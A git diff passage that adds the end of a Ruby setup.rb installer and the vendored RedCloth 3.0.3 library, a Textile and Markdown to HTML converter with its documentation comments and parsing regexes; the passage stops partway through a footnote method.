+    out.puts 'Global options:'
+    out.printf fmt, '-q,--quiet',   'suppress message outputs'
+    out.printf fmt, '   --verbose', 'output messages verbosely'
+    out.printf fmt, '-h,--help',    'print this message'
+    out.printf fmt, '-v,--version', 'print version and quit'
+    out.printf fmt, '--copyright',  'print copyright and quit'
+
+    out.puts
+    out.puts 'Tasks:'
+    TASKS.each do |name, desc|
+      out.printf "  %-10s  %s\n", name, desc
+    end
+
+    out.puts
+    out.puts 'Options for config:'
+    ConfigTable.each_definition do |name, (default, arg, desc, default2)|
+      out.printf "  %-20s %s [%s]\n",
+                 '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg),
+                 desc,
+                 default2 || default
+    end
+    out.printf "  %-20s %s [%s]\n",
+        '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's"
+
+    out.puts
+    out.puts 'Options for install:'
+    out.printf "  %-20s %s [%s]\n",
+        '--no-harm', 'only display what to do if given', 'off'
+
+    out.puts
+  end
+
+  #
+  # config
+  #
+
+  def exec_config
+    super
+    @config.save
+  end
+
+  #
+  # show
+  #
+
+  def exec_show
+    ConfigTable.each_name do |k|
+      v = @config.get_raw(k)
+      if not v or v.empty? then
+        v = '(not specified)'
+      end
+      printf "%-10s %s\n", k, v
+    end
+  end
+
+end
+
+### end toplevel.rb
+
+if $0 == __FILE__ then
+  begin
+    installer = ToplevelInstaller.new( Dir.pwd )
+    installer.execute
+  rescue
+    raise if $DEBUG
+    $stderr.puts $!.message
+    $stderr.puts "try 'ruby #{$0} --help' for usage"
+    exit 1
+  end
+end
diff --git a/vendor/RedCloth-3.0.3/lib/redcloth.rb b/vendor/RedCloth-3.0.3/lib/redcloth.rb
new file mode 100644
index 00000000..03df12b3
--- /dev/null
+++ b/vendor/RedCloth-3.0.3/lib/redcloth.rb
@@ -0,0 +1,1113 @@
+#                                vim:ts=4:sw=4:
+# = RedCloth - Textile and Markdown Hybrid for Ruby
+#
+# Homepage::  http://whytheluckystiff.net/ruby/redcloth/
+# Author::    why the lucky stiff (http://whytheluckystiff.net/)
+# Copyright:: (cc) 2004 why the lucky stiff (and his puppet organizations.)
+# License::   BSD
+#
+# (see http://hobix.com/textile/ for a Textile Reference.)
+#
+# Based on (and also inspired by) both:
+#
+# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt
+# Textism for PHP: http://www.textism.com/tools/textile/
+#
+#
+
+# = RedCloth
+#
+# RedCloth is a Ruby library for converting Textile and/or Markdown
+# into HTML.  You can use either format, intermingled or separately.
+# You can also extend RedCloth to honor your own custom text stylings.
+#
+# RedCloth users are encouraged to use Textile if they are generating
+# HTML and to use Markdown if others will be viewing the plain text.
+#
+# == What is Textile?
+#
+# Textile is a simple formatting style for text
+# documents, loosely based on some HTML conventions.
+#
+# == Sample Textile Text
+#
+#  h2. This is a title
+#
+#  h3. This is a subhead
+#
+#  This is a bit of paragraph.
+#
+#  bq. This is a blockquote.
+#
+# = Writing Textile
+#
+# A Textile document consists of paragraphs.  Paragraphs
+# can be specially formatted by adding a small instruction
+# to the beginning of the paragraph.
+#
+#  h[n].   Header of size [n].
+#  bq.     Blockquote.
+#  #       Numeric list.
+#  *       Bulleted list.
+#
+# == Quick Phrase Modifiers
+#
+# Quick phrase modifiers are also included, to allow formatting
+# of small portions of text within a paragraph.
+#
+#  \_emphasis\_
+#  \_\_italicized\_\_
+#  \*strong\*
+#  \*\*bold\*\*
+#  ??citation??
+#  -deleted text-
+#  +inserted text+
+#  ^superscript^
+#  ~subscript~
+#  @code@
+#  %(classname)span%
+#
+#  ==notextile== (leave text alone)
+#
+# == Links
+#
+# To make a hypertext link, put the link text in "quotation 
+# marks" followed immediately by a colon and the URL of the link.
+# 
+# Optional: text in (parentheses) following the link text, 
+# but before the closing quotation mark, will become a Title 
+# attribute for the link, visible as a tool tip when a cursor is above it.
+# 
+# Example:
+#
+#  "This is a link (This is a title) ":http://www.textism.com
+# 
+# Will become:
+# 
+#  <a href="http://www.textism.com" title="This is a title">This is a link</a>
+#
+# == Images
+#
+# To insert an image, put the URL for the image inside exclamation marks.
+#
+# Optional: text that immediately follows the URL in (parentheses) will 
+# be used as the Alt text for the image. Images on the web should always 
+# have descriptive Alt text for the benefit of readers using non-graphical 
+# browsers.
+#
+# Optional: place a colon followed by a URL immediately after the 
+# closing ! to make the image into a link.
+# 
+# Example:
+#
+#  !http://www.textism.com/common/textist.gif(Textist)!
+#
+# Will become:
+#
+#  <img src="http://www.textism.com/common/textist.gif" alt="Textist" />
+#
+# With a link:
+#
+#  !/common/textist.gif(Textist)!:http://textism.com
+#
+# Will become:
+#
+#  <a href="http://textism.com"><img src="/common/textist.gif" alt="Textist" /></a>
+#
+# == Defining Acronyms
+#
+# HTML allows authors to define acronyms via the tag. The definition appears as a 
+# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, 
+# this should be used at least once for each acronym in documents where they appear.
+#
+# To quickly define an acronym in Textile, place the full text in (parentheses) 
+# immediately following the acronym.
+# 
+# Example:
+#
+#  ACLU(American Civil Liberties Union)
+#
+# Will become:
+#
+#  <acronym title="American Civil Liberties Union">ACLU</acronym>
+#
+# == Adding Tables
+#
+# In Textile, simple tables can be added by seperating each column by
+# a pipe.
+#
+#     |a|simple|table|row|
+#     |And|Another|table|row|
+#
+# Attributes are defined by style definitions in parentheses.
+#
+#     table(border:1px solid black).
+#     (background:#ddd;color:red). |{}| | | |
+#
+# == Using RedCloth
+# 
+# RedCloth is simply an extension of the String class, which can handle
+# Textile formatting.  Use it like a String and output HTML with its
+# RedCloth#to_html method.
+#
+#  doc = RedCloth.new "
+#
+#  h2. Test document
+#
+#  Just a simple test."
+#
+#  puts doc.to_html
+#
+# By default, RedCloth uses both Textile and Markdown formatting, with
+# Textile formatting taking precedence.  If you want to turn off Markdown
+# formatting, to boost speed and limit the processor:
+#
+#  class RedCloth::Textile.new( str )
+
+class RedCloth < String
+
+    VERSION = '3.0.3'
+    DEFAULT_RULES = [:textile, :markdown]
+
+    #
+    # Two accessor for setting security restrictions.
+    #
+    # This is a nice thing if you're using RedCloth for
+    # formatting in public places (e.g. Wikis) where you
+    # don't want users to abuse HTML for bad things.
+    #
+    # If +:filter_html+ is set, HTML which wasn't
+    # created by the Textile processor will be escaped.
+    #
+    # If +:filter_styles+ is set, it will also disable
+    # the style markup specifier. ('{color: red}')
+    #
+    attr_accessor :filter_html, :filter_styles
+
+    #
+    # Accessor for toggling hard breaks.
+    #
+    # If +:hard_breaks+ is set, single newlines will
+    # be converted to HTML break tags.  This is the
+    # default behavior for traditional RedCloth.
+    #
+    attr_accessor :hard_breaks
+
+    #
+    # Accessor for toggling span caps.
+    #
+    # Textile places `span' tags around capitalized
+    # words by default, but this wreaks havoc on Wikis.
+    # If +:no_span_caps+ is set, this will be
+    # suppressed.
+    #
+    attr_accessor :no_span_caps
+
+    #
+    # Establishes the markup predence.  Available rules include:
+    #
+    # == Textile Rules
+    #
+    # The following textile rules can be set individually.  Or add the complete
+    # set of rules with the single :textile rule, which supplies the rule set in
+    # the following precedence:
+    #
+    # refs_textile::          Textile references (i.e. [hobix]http://hobix.com/)
+    # block_textile_table::   Textile table block structures
+    # block_textile_lists::   Textile list structures
+    # block_textile_prefix::  Textile blocks with prefixes (i.e. bq., h2., etc.)
+    # inline_textile_image::  Textile inline images
+    # inline_textile_link::   Textile inline links
+    # inline_textile_span::   Textile inline spans
+    # inline_textile_glyphs:: Textile entities (such as em-dashes and smart quotes)
+    #
+    # == Markdown
+    #
+    # refs_markdown::         Markdown references (for example: [hobix]: http://hobix.com/)
+    # block_markdown_setext:: Markdown setext headers
+    # block_markdown_atx::    Markdown atx headers
+    # block_markdown_rule::   Markdown horizontal rules
+    # block_markdown_bq::     Markdown blockquotes
+    # block_markdown_lists::  Markdown lists
+    # inline_markdown_link::  Markdown links
+    attr_accessor :rules
+
+    # Returns a new RedCloth object, based on _string_ and
+    # enforcing all the included _restrictions_.
+    #
+    #   r = RedCloth.new( "h1. A <b>bold</b> man", [:filter_html] )
+    #   r.to_html
+    #     #=>"<h1>A &lt;b&gt;bold&lt;/b&gt; man</h1>"
+    #
+    def initialize( string, restrictions = [] )
+        restrictions.each { |r| method( "#{ r }=" ).call( true ) }
+        super( string )
+    end
+
+    #
+    # Generates HTML from the Textile contents.
+    #
+    #   r = RedCloth.new( "And then? She *fell*!" )
+    #   r.to_html( true )
+    #     #=>"And then? She <strong>fell</strong>!"
+    #
+    def to_html( *rules )
+        rules = DEFAULT_RULES if rules.empty?
+        # make our working copy
+        text = self.dup
+        
+        @urlrefs = {}
+        @shelf = []
+        textile_rules = [:refs_textile, :block_textile_table, :block_textile_lists,
+                         :block_textile_prefix, :inline_textile_image, :inline_textile_link,
+                         :inline_textile_code, :inline_textile_glyphs, :inline_textile_span]
+        markdown_rules = [:refs_markdown, :block_markdown_setext, :block_markdown_atx, :block_markdown_rule,
+                          :block_markdown_bq, :block_markdown_lists, 
+                          :inline_markdown_reflink, :inline_markdown_link]
+        @rules = rules.collect do |rule|
+            case rule
+            when :markdown
+                markdown_rules
+            when :textile
+                textile_rules
+            else
+                rule
+            end
+        end.flatten
+
+        # standard clean up
+        incoming_entities text 
+        clean_white_space text 
+        no_textile text
+
+        # start processor
+        @pre_list = []
+        rip_offtags text
+        hard_break text
+        refs text
+        blocks text
+        inline text
+        smooth_offtags text
+
+        retrieve text
+
+        text.gsub!( /<\/?notextile>/, '' )
+        text.gsub!( /x%x%/, '&#38;' )
+        clean_html text if filter_html
+        text.strip!
+        text
+
+    end
+
+    #######
+    private
+    #######
+    #
+    # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents.
+    # (from PyTextile)
+    #
+    TEXTILE_TAGS =
+
+        [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], 
+         [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], 
+         [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], 
+         [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], 
+         [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]].
+
+        collect! do |a, b|
+            [a.chr, ( b.zero? and "" or "&#{ b };" )]
+        end
+
+    #
+    # Regular expressions to convert to HTML.
+    #
+    A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/
+    A_VLGN = /[\-^~]/
+    C_CLAS = '(?:\([^)]+\))'
+    C_LNGE = '(?:\[[^\]]+\])'
+    C_STYL = '(?:\{[^}]+\})'
+    S_CSPN = '(?:\\\\\d+)'
+    S_RSPN = '(?:/\d+)'
+    A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)"
+    S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)"
+    C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)"
+    # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' )
+    PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' )
+    HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(?=\s|<|$)'
+
+    # Text markup tags, don't conflict with block tags
+    SIMPLE_HTML_TAGS = [
+        'tt', 'b', 'i', 'big', 'small', 'em', 'strong', 'dfn', 'code', 
+        'samp', 'kbd', 'var', 'cite', 'abbr', 'acronym', 'a', 'img', 'br',
+        'br', 'map', 'q', 'sub', 'sup', 'span', 'bdo'
+    ]
+
+    # Elements to handle
+    GLYPHS = [
+    #   [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1&#8217;\2' ], # single closing
+        [ /([^\s\[{(>])\'/, '\1&#8217;' ], # single closing
+        [ /\'(?=\s|s\b|[#{PUNCT}])/, '&#8217;' ], # single closing
+        [ /\'/, '&#8216;' ], # single opening
+    #   [ /([^\s\[{(])?"(\s|:|$)/, '\1&#8221;\2' ], # double closing
+        [ /([^\s\[{(>])"/, '\1&#8221;' ], # double closing
+        [ /"(?=\s|[#{PUNCT}])/, '&#8221;' ], # double closing
+        [ /"/, '&#8220;' ], # double opening
+        [ /\b( )?\.{3}/, '\1&#8230;' ], # ellipsis
+        [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '<acronym title="\2">\1</acronym>' ], # 3+ uppercase acronym
+        [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^<a-z0-9]|$)/, '\1<span class="caps">\2</span>\3', :no_span_caps ], # 3+ uppercase caps
+        [ /(\.\s)?\s?--\s?/, '\1&#8212;' ], # em dash
+        [ /\s->\s/, ' &rarr; ' ], # right arrow
+        [ /\s-\s/, ' &#8211; ' ], # en dash
+        [ /(\d+) ?x ?(\d+)/, '\1&#215;\2' ], # dimension sign
+        [ /\b ?[(\[]TM[\])]/i, '&#8482;' ], # trademark
+        [ /\b ?[(\[]R[\])]/i, '&#174;' ], # registered
+        [ /\b ?[(\[]C[\])]/i, '&#169;' ] # copyright
+    ]
+
+    H_ALGN_VALS = {
+        '<' => 'left',
+        '=' => 'center',
+        '>' => 'right',
+        '<>' => 'justify'
+    }
+
+    V_ALGN_VALS = {
+        '^' => 'top',
+        '-' => 'middle',
+        '~' => 'bottom'
+    }
+
+    QTAGS = [
+        ['**', 'b'],
+        ['*', 'strong'],
+        ['??', 'cite', :limit],
+        ['-', 'del', :limit],
+        ['__', 'i'],
+        ['_', 'em', :limit],
+        ['%', 'span', :limit],
+        ['+', 'ins', :limit],
+        ['^', 'sup'],
+        ['~', 'sub']
+    ] 
+    QTAGS.collect! do |rc, ht, rtype|
+        rcq = Regexp::quote rc
+        re =
+            case rtype
+            when :limit
+                /(\W)
+                (#{rcq})
+                (#{C})
+                (?::(\S+?))?
+                (.+?)
+                #{rcq}
+                (?=\W)/x
+            else
+                /(#{rcq})
+                (#{C})
+                (?::(\S+?))?
+                (.+?)
+                #{rcq}/xm 
+            end
+        [rc, ht, re, rtype]
+    end
+
+    #
+    # Flexible HTML escaping
+    #
+    def htmlesc( str, mode )
+        str.gsub!( '&', '&amp;' )
+        str.gsub!( '"', '&quot;' ) if mode != :NoQuotes
+        str.gsub!( "'", '&#039;' ) if mode == :Quotes
+        str.gsub!( '<', '&lt;')
+        str.gsub!( '>', '&gt;')
+    end
+
+    # Search and replace for Textile glyphs (quotes, dashes, other symbols)
+    def pgl( text )
+        GLYPHS.each do |re, resub, tog|
+            next if tog and method( tog ).call
+            text.gsub! re, resub
+        end
+    end
+
+    # Parses Textile attribute lists and builds an HTML attribute string
+    def pba( text_in, element = "" )
+        
+        return '' unless text_in
+
+        style = []
+        text = text_in.dup
+        if element == 'td'
+            colspan = $1 if text =~ /\\(\d+)/
+            rowspan = $1 if text =~ /\/(\d+)/
+            style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN
+        end
+
+        style << "#{ $1 };" if not filter_styles and
+            text.sub!( /\{([^}]*)\}/, '' )
+
+        lang = $1 if
+            text.sub!( /\[([^)]+?)\]/, '' )
+
+        cls = $1 if
+            text.sub!( /\(([^()]+?)\)/, '' )
+                        
+        style << "padding-left:#{ $1.length }em;" if
+            text.sub!( /([(]+)/, '' )
+
+        style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' )
+
+        style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN
+
+        cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/
+        
+        atts = ''
+        atts << " style=\"#{ style.join }\"" unless style.empty?
+        atts << " class=\"#{ cls }\"" unless cls.to_s.empty?
+        atts << " lang=\"#{ lang }\"" if lang
+        atts << " id=\"#{ id }\"" if id
+        atts << " colspan=\"#{ colspan }\"" if colspan
+        atts << " rowspan=\"#{ rowspan }\"" if rowspan
+        
+        atts
+    end
+
+    TABLE_RE = /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)(\n\n|\Z)/m
+    
+    # Parses a Textile table block, building HTML from the result.
+    def block_textile_table( text ) 
+        text.gsub!( TABLE_RE ) do |matches|
+
+            tatts, fullrow = $~[1..2]
+            tatts = pba( tatts, 'table' )
+            tatts = shelve( tatts ) if tatts
+            rows = []
+
+            fullrow.
+            split( /\|$/m ).
+            delete_if { |x| x.empty? }.
+            each do |row|
+
+                ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m
+                
+                cells = []
+                row.split( '|' ).each do |cell|
+                    ctyp = 'd'
+                    ctyp = 'h' if cell =~ /^_/
+
+                    catts = ''
+                    catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. ?)(.*)/
+
+                    unless cell.strip.empty?
+                        catts = shelve( catts ) if catts
+                        cells << "\t\t\t<t#{ ctyp }#{ catts }>#{ cell }</t#{ ctyp }>" 
+                    end
+                end
+                ratts = shelve( ratts ) if ratts
+                rows << "\t\t<tr#{ ratts }>\n#{ cells.join( "\n" ) }\n\t\t</tr>"
+            end
+            "\t<table#{ tatts }>\n#{ rows.join( "\n" ) }\n\t</table>\n\n"
+        end
+    end
+
+    LISTS_RE = /^([#*]+?#{C} .*?)$(?![^#*])/m
+    LISTS_CONTENT_RE = /^([#*]+)(#{A}#{C}) (.*)$/m
+
+    # Parses Textile lists and generates HTML
+    def block_textile_lists( text ) 
+        text.gsub!( LISTS_RE ) do |match|
+            lines = match.split( /\n/ )
+            last_line = -1
+            depth = []
+            lines.each_with_index do |line, line_id|
+                if line =~ LISTS_CONTENT_RE 
+                    tl,atts,content = $~[1..3]
+                    if depth.last
+                        if depth.last.length > tl.length
+                            (depth.length - 1).downto(0) do |i|
+                                break if depth[i].length == tl.length
+                                lines[line_id - 1] << "</li>\n\t</#{ lT( depth[i] ) }l>\n\t"
+                                depth.pop
+                            end
+                        end
+                        if depth.last.length == tl.length
+                            lines[line_id - 1] << '</li>'
+                        end
+                    end
+                    unless depth.last == tl
+                        depth << tl
+                        atts = pba( atts )
+                        atts = shelve( atts ) if atts
+                        lines[line_id] = "\t<#{ lT(tl) }l#{ atts }>\n\t<li>#{ content }"
+                    else
+                        lines[line_id] = "\t\t<li>#{ content }"
+                    end
+                    last_line = line_id
+
+                else
+                    last_line = line_id
+                end
+                if line_id - last_line > 1 or line_id == lines.length - 1
+                    depth.delete_if do |v|
+                        lines[last_line] << "</li>\n\t</#{ lT( v ) }l>"
+                    end
+                end
+            end
+            lines.join( "\n" )
+        end
+    end
+
+    CODE_RE = /(\W)
+        @
+        (?:\|(\w+?)\|)?
+        (.+?)
+        @
+        (?=\W)/x
+
+    def inline_textile_code( text ) 
+        text.gsub!( CODE_RE ) do |m|
+            before,lang,code,after = $~[1..4]
+            lang = " lang=\"#{ lang }\"" if lang
+            rip_offtags( "#{ before }<code#{ lang }>#{ code }</code>#{ after }" )
+        end
+    end
+
+    def lT( text ) 
+        text =~ /\#$/ ? 'o' : 'u'
+    end
+
+    def hard_break( text )
+        text.gsub!( /(.)\n(?! *[#*\s|]|$)/, "\\1<br />" ) if hard_breaks
+    end
+
+    BLOCKS_GROUP_RE = /\n{2,}(?! )/m
+
+    def blocks( text, deep_code = false )
+        text.replace( text.split( BLOCKS_GROUP_RE ).collect do |blk|
+            plain = blk !~ /\A[#*> ]/
+
+            # skip blocks that are complex HTML
+            if blk =~ /^<\/?(\w+).*>/ and not SIMPLE_HTML_TAGS.include? $1
+                blk
+            else
+                # search for indentation levels
+                blk.strip!
+                if blk.empty?
+                    blk
+                else
+                    code_blk = nil
+                    blk.gsub!( /((?:\n(?:\n^ +[^\n]*)+)+)/m ) do |iblk|
+                        flush_left iblk
+                        blocks iblk, plain
+                        iblk.gsub( /^(\S)/, "\t\\1" )
+                        if plain
+                            code_blk = iblk; ""
+                        else
+                            iblk
+                        end
+                    end
+
+                    block_applied = 0 
+                    @rules.each do |rule_name|
+                        block_applied += 1 if ( rule_name.to_s.match /^block_/ and method( rule_name ).call( blk ) )
+                    end
+                    if block_applied.zero?
+                        if deep_code
+                            blk = "\t<pre><code>#{ blk }</code></pre>"
+                        else
+                            blk = "\t<p>#{ blk }</p>"
+                        end
+                    end
+                    # hard_break blk
+                    blk + "\n#{ code_blk }"
+                end
+            end
+
+        end.join( "\n\n" ) )
+    end
+
+    def textile_bq( tag, atts, cite, content )
+        cite, cite_title = check_refs( cite )
+        cite = " cite=\"#{ cite }\"" if cite
+        atts = shelve( atts ) if atts
+        "\t<blockquote#{ cite }>\n\t\t<p#{ atts }>#{ content }</p>\n\t</blockquote>"
+    end
+
+    def textile_p( tag, atts, cite, content )
+        atts = shelve( atts ) if atts
+        "\t<#{ tag }#{ atts }>#{ content }</#{ tag }>"
+    end
+
+    alias textile_h1 textile_p
+    alias textile_h2 textile_p
+    alias textile_h3 textile_p
+    alias textile_h4 textile_p
+    alias textile_h5 textile_p
+    alias textile_h6 textile_p
+
+    def textile_fn_( tag, num, atts, cite, content )
+        atts << " id=\"fn#{ num }\""
+        content = "<sup>#{ num }</sup> #{ content }"
+        atts = shelve( atts ) if atts
+        "\t<p#{ atts }>#{ content }</p>"
+    end
+
+    BLOCK_RE = /^(([a-z]+)(\d*))(#{A}#{C})\.(?::(\S+))? (.*)$/m
+
+    def block_textile_prefix( text ) 
+        if text =~ BLOCK_RE
+            tag,tagpre,num,atts,cite,content = $~[1..6]
+            atts = pba( atts )
+
+            # pass to prefix handler
+            if respond_to? "textile_#{ tag }", true
+                text.gsub!( $&, method( "textile_#{ tag }" ).call( tag, atts, cite, content ) )
+            elsif respond_to? "textile_#{ tagpre }_", true
+                text.gsub!( $&, method( "textile_#{ tagpre }_" ).call( tagpre, num, atts, cite, content ) )
+            end
+        end
+    end
+    
+    SETEXT_RE = /\A(.+?)\n([=-])[=-]* *$/m
+    def block_markdown_setext( text )
+        if text =~ SETEXT_RE
+            tag = if $2 == "="; "h1"; else; "h2"; end
+            blk, cont = "<#{ tag }>#{ $1 }</#{ tag }>", $'
+            blocks cont
+            text.replace( blk + cont )
+        end
+    end
+
+    ATX_RE = /\A(\#{1,6})  # $1 = string of #'s
+              [ ]*
+              (.+?)       # $2 = Header text
+              [ ]*
+              \#*         # optional closing #'s (not counted)
+              $/x
+    def block_markdown_atx( text )
+        if text =~ ATX_RE
+            tag = "h#{ $1.length }"
+            blk, cont = "<#{ tag }>#{ $2 }</#{ tag }>\n\n", $'
+            blocks cont
+            text.replace( blk + cont )
+        end
+    end
+
+    MARKDOWN_BQ_RE = /\A(^ *> ?.+$(.+\n)*\n*)+/m
+
+    def block_markdown_bq( text )
+        text.gsub!( MARKDOWN_BQ_RE ) do |blk|
+            blk.gsub!( /^ *> ?/, '' )
+            flush_left blk
+            blocks blk
+            blk.gsub!( /^(\S)/, "\t\\1" )
+            "<blockquote>\n#{ blk }\n</blockquote>\n\n"
+        end
+    end
+
+    MARKDOWN_RULE_RE = /^#{
+        ['*', '-', '_'].collect { |ch| '( ?' + Regexp::quote( ch ) + ' ?){3,}' }.join( '|' )
+    }$/
+
+    def block_markdown_rule( text )
+        text.gsub!( MARKDOWN_RULE_RE ) do |blk|
+            "<hr />"
+        end
+    end
+
+    # XXX TODO XXX
+    def block_markdown_lists( text )
+    end
+
+    def inline_markdown_link( text )
+    end
+
+    def inline_textile_span( text ) 
+        QTAGS.each do |qtag_rc, ht, qtag_re, rtype|
+            text.gsub!( qtag_re ) do |m|
+             
+                case rtype
+                when :limit
+                    sta,qtag,atts,cite,content = $~[1..5]
+                else
+                    qtag,atts,cite,content = $~[1..4]
+                    sta = ''
+                end
+                atts = pba( atts )
+                atts << " cite=\"#{ cite }\"" if cite
+                atts = shelve( atts ) if atts
+
+                "#{ sta }<#{ ht }#{ atts }>#{ content }</#{ ht }>"
+
+            end
+        end
+    end
+
+    LINK_RE = /
+            ([\s\[{(]|[#{PUNCT}])?     # $pre
+            "                          # start
+            (#{C})                     # $atts
+            ([^"]+?)                   # $text
+            \s?
+            (?:\(([^)]+?)\)(?="))?     # $title
+            ":
+            (\S+?)                     # $url
+            (\/)?                      # $slash
+            ([^\w\/;]*?)               # $post
+            (?=<|\s|$)
+        /x 
+
+    def inline_textile_link( text ) 
+        text.gsub!( LINK_RE ) do |m|
+            pre,atts,text,title,url,slash,post = $~[1..7]
+
+            url, url_title = check_refs( url )
+            title ||= url_title
+            
+            atts = pba( atts )
+            atts = " href=\"#{ url }#{ slash }\"#{ atts }"
+            atts << " title=\"#{ title }\"" if title
+            atts = shelve( atts ) if atts
+            
+            "#{ pre }<a#{ atts }>#{ text }</a>#{ post }"
+        end
+    end
+
+    MARKDOWN_REFLINK_RE = /
+            \[([^\[\]]+)\]      # $text
+            [ ]?                # opt. space
+            (?:\n[ ]*)?         # one optional newline followed by spaces
+            \[(.*?)\]           # $id
+        /x 
+
+    def inline_markdown_reflink( text ) 
+        text.gsub!( MARKDOWN_REFLINK_RE ) do |m|
+            text, id = $~[1..2]
+
+            if id.empty?
+                url, title = check_refs( text )
+            else
+                url, title = check_refs( id )
+            end
+            
+            atts = " href=\"#{ url }\""
+            atts << " title=\"#{ title }\"" if title
+            atts = shelve( atts )
+            
+            "<a#{ atts }>#{ text }</a>"
+        end
+    end
+
+    MARKDOWN_LINK_RE = /
+            \[([^\[\]]+)\]      # $text
+            \(                  # open paren
+            [ \t]*              # opt space
+            <?(.+?)>?           # $href
+            [ \t]*              # opt space
+            (?:                 # whole title
+            (['"])              # $quote
+            (.*?)               # $title
+            \3                  # matching quote
+            )?                  # title is optional
+            \)
+        /x 
+
+    def inline_markdown_link( text ) 
+        text.gsub!( MARKDOWN_LINK_RE ) do |m|
+            text, url, quote, title = $~[1..4]
+
+            atts = " href=\"#{ url }\""
+            atts << " title=\"#{ title }\"" if title
+            atts = shelve( atts )
+            
+            "<a#{ atts }>#{ text }</a>"
+        end
+    end
+
+    TEXTILE_REFS_RE =  /(^ *)\[([^\n]+?)\](#{HYPERLINK})(?=\s|$)/
+    MARKDOWN_REFS_RE = /(^ *)\[([^\n]+?)\]:\s+<?(#{HYPERLINK})>?(?:\s+"((?:[^"]|\\")+)")?(?=\s|$)/m
+
+    def refs( text )
+        @rules.each do |rule_name|
+            method( rule_name ).call( text ) if rule_name.to_s.match /^refs_/
+        end
+    end
+
+    def refs_textile( text ) 
+        text.gsub!( TEXTILE_REFS_RE ) do |m|
+            flag, url = $~[2..3]
+            @urlrefs[flag.downcase] = [url, nil]
+            nil
+        end
+    end
+    
+    def refs_markdown( text )
+        text.gsub!( MARKDOWN_REFS_RE ) do |m|
+            flag, url = $~[2..3]
+            title = $~[6]
+            @urlrefs[flag.downcase] = [url, title]
+            nil
+        end
+    end
+
+    def check_refs( text ) 
+        ret = @urlrefs[text.downcase] if text
+        ret || [text, nil]
+    end
+
+    IMAGE_RE = /
+            (<p>|.|^)            # start of line?
+            \!                   # opening
+            (\<|\=|\>)?          # optional alignment atts
+            (#{C})               # optional style,class atts
+            (?:\. )?             # optional dot-space
+            ([^\s(!]+?)          # presume this is the src
+            \s?                  # optional space
+            (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))?   # optional title
+            \!                   # closing
+            (?::#{ HYPERLINK })? # optional href
+        /x 
+
+    def inline_textile_image( text ) 
+        text.gsub!( IMAGE_RE )  do |m|
+            stln,algn,atts,url,title,href,href_a1,href_a2 = $~[1..8]
+            atts = pba( atts )
+            atts = " src=\"#{ url }\"#{ atts }"
+            atts << " title=\"#{ title }\"" if title
+            atts << " alt=\"#{ title }\"" 
+            # size = @getimagesize($url);
+            # if($size) $atts.= " $size[3]";
+
+            href, alt_title = check_refs( href ) if href
+            url, url_title = check_refs( url )
+
+            out = ''
+            out << "<a#{ shelve( " href=\"#{ href }\"" ) }>" if href
+            out << "<img#{ shelve( atts ) } />"
+            out << "</a>#{ href_a1 }#{ href_a2 }" if href
+            
+            if algn 
+                algn = h_align( algn )
+                if stln == "<p>"
+                    out = "<p style=\"float:#{ algn }\">#{ out }"
+                else
+                    out = "#{ stln }<div style=\"float:#{ algn }\">#{ out }</div>"
+                end
+            else
+                out = stln + out
+            end
+
+            out
+        end
+    end
+
+    def shelve( val ) 
+        @shelf << val
+        " <#{ @shelf.length }>"
+    end
+    
+    def retrieve( text ) 
+        @shelf.each_with_index do |r, i|
+            text.gsub!( " <#{ i + 1 }>", r )
+        end
+    end
+
+    def incoming_entities( text ) 
+        ## turn any incoming ampersands into a dummy character for now.
+        ## This uses a negative lookahead for alphanumerics followed by a semicolon,
+        ## implying an incoming html entity, to be skipped
+
+        text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" )
+    end
+
+    def no_textile( text ) 
+        text.gsub!( /(^|\s)==([^=]+.*?)==(\s|$)?/,
+            '\1<notextile>\2</notextile>\3' )
+        text.gsub!( /^ *==([^=]+.*?)==/m,
+            '\1<notextile>\2</notextile>\3' )
+    end
+
+    def clean_white_space( text ) 
+        # normalize line breaks
+        text.gsub!( /\r\n/, "\n" )
+        text.gsub!( /\r/, "\n" )
+        text.gsub!( /\t/, '    ' )
+        text.gsub!( /^ +$/, '' )
+        text.gsub!( /\n{3,}/, "\n\n" )
+        text.gsub!( /"$/, "\" " )
+
+        # if entire document is indented, flush
+        # to the left side
+        flush_left text
+    end
+
+    def flush_left( text )
+        indt = 0
+        if text =~ /^ /
+            while text !~ /^ {#{indt}}\S/
+                indt += 1
+            end unless text.empty?
+            if indt.nonzero?
+                text.gsub!( /^ {#{indt}}/, '' )
+            end
+        end
+    end
+
+    def footnote_ref( text ) 
+        text.gsub!( /\b\[([0-9]+?)\](\s)?/,
